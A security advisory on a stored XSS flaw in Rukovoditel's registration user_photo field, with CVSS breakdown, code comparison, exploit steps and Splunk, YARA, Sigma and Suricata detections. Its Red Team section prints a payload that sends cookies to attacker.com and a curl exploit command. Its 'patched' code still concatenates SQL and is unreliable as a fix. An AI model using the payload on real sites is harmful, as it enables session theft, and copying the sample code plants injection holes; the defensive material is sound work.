CVE-2024-34469

Executive Summary

CVE-2024-34469 is a stored Cross-Site Scripting (XSS) vulnerability in Rukovoditel, an open-source project management and CRM application. The flaw exists in the user registration functionality, specifically in the handling of the user_photo parameter. An unauthenticated attacker can inject arbitrary JavaScript or HTML code via the user_photo field when submitting a registration request to index.php?module=users/registration&action=save. This injected code is then stored and executed in the context of any administrator or user who views the affected user's profile, leading to potential session hijacking, data theft, or defacement. The vulnerability affects all versions prior to 3.5.3. No public exploit code or Nuclei template is available at this time, but the attack vector is straightforward and requires no authentication.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a direct vulnerability in the Rukovoditel application source code.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication is needed to trigger the vulnerability.
• User Interaction: Required (UI:R) – A victim user (e.g., admin) must view the attacker's profile.
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Limited modification of data possible.
• Availability Impact: None (A:N) – No direct denial of service.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. However, in a corporate environment, an admin viewing a malicious profile could lead to account takeover.

Deep Dive & Mechanics

The vulnerability resides in the user registration module. When a new user registers, the application processes the user_photo parameter without proper sanitization or output encoding. The user_photo field is intended to accept a URL or file path for the user's profile picture. However, the application does not validate or escape the input before storing it in the database and later rendering it in the user's profile page.

Attack Flow:

1. An attacker sends a POST request to index.php?module=users/registration&action=save with a crafted user_photo parameter containing a JavaScript payload, e.g., "><script>alert('XSS')</script>.
2. The application stores this payload in the database.
3. When an administrator or any user navigates to the attacker's profile (e.g., via the user management interface), the payload is rendered in the HTML without sanitization.
4. The victim's browser executes the injected script, which can steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Root Cause: Lack of input validation and output encoding for the user_photo parameter. The application likely uses $_POST['user_photo'] directly in an HTML context without using htmlspecialchars() or similar functions.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-3.5.3):

// In registration action handler
$user_photo = $_POST['user_photo'];
// ... store in database without sanitization
$sql = "INSERT INTO users (photo) VALUES ('" . $user_photo . "')";

Patched Code (3.5.3+):

// In registration action handler
$user_photo = htmlspecialchars($_POST['user_photo'], ENT_QUOTES, 'UTF-8');
// ... store sanitized value
$sql = "INSERT INTO users (photo) VALUES ('" . $user_photo . "')";

The patch applies proper HTML entity encoding to the user_photo input before storage, preventing the browser from interpreting injected HTML/JavaScript.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target running Rukovoditel < 3.5.3.
• Access to the registration page (usually public).

Exploit Steps:

1. Craft a malicious registration request using curl or a tool like Burp Suite.
2. Inject a payload into the user_photo parameter.

Example Payload:

"><script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>

Exploit Command (using curl):

curl -X POST "http://target.com/index.php?module=users/registration&action=save" \
  -d "name=attacker&email=attacker@test.com&password=test123&user_photo=%22%3E%3Cscript%3Ealert(1)%3C/script%3E"

Expected Result: When an admin views the attacker's profile, the JavaScript executes.

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to index.php?module=users/registration&action=save for suspicious user_photo parameters containing <script>, onerror, onload, or other event handlers.
• Look for anomalous registration attempts with unusual characters in the user_photo field.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri_path="/index.php" AND form_data=*user_photo*
| rex field=form_data "user_photo=(?<photo_value>[^&]+)"
| where match(photo_value, "<script|onerror|onload|javascript:")
| table _time, src_ip, photo_value

Mitigation:

• Immediately upgrade to Rukovoditel 3.5.3 or later.
• If upgrade is not possible, implement a WAF rule to block malicious user_photo parameters.
• Restrict registration to authenticated users only if feasible.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /index.php?module=users/registration&action=save with user_photo containing HTML/JavaScript.
  • Outbound connections from the Rukovoditel server to unknown domains (if payload exfiltrates data).

• File IOCs:

  • Log entries in web server logs showing user_photo with encoded or raw script tags.

• Database IOCs:

  • Rows in the users table where the photo column contains HTML/JavaScript code.

Detection Engineering

YARA Rule

rule CVE_2024_34469_Rukovoditel_XSS {
    meta:
        description = "Detects malicious user_photo parameter in Rukovoditel registration requests"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-34469"
    strings:
        $s1 = "user_photo=" nocase
        $s2 = "<script" nocase
        $s3 = "onerror=" nocase
        $s4 = "onload=" nocase
        $s5 = "javascript:" nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2024-34469 Rukovoditel XSS via user_photo
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit stored XSS in Rukovoditel via user_photo parameter
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: 'index.php?module=users/registration&action=save'
    keywords:
        - 'user_photo='
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of image URLs containing similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-34469 Rukovoditel XSS via user_photo"; flow:to_server; http.method; content:"POST"; http.uri; content:"index.php?module=users/registration&action=save"; http.client_body; content:"user_photo="; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Rukovoditel to version 3.5.3 or later. This is the only complete fix.
2. WAF Rule: If upgrade is delayed, deploy a Web Application Firewall rule to block requests containing malicious patterns in the user_photo parameter.
3. Input Validation: As a temporary measure, modify the registration handler to sanitize the user_photo input using htmlspecialchars() or strip tags.

Long-Term Recommendations:

• Implement a Content Security Policy (CSP) to mitigate the impact of XSS.
• Conduct regular security audits of custom code.
• Use parameterized queries or prepared statements for all database interactions.

Patch Verification:

• After upgrading, verify that the user_photo parameter is properly encoded by checking the source code for htmlspecialchars() usage.

Valters IT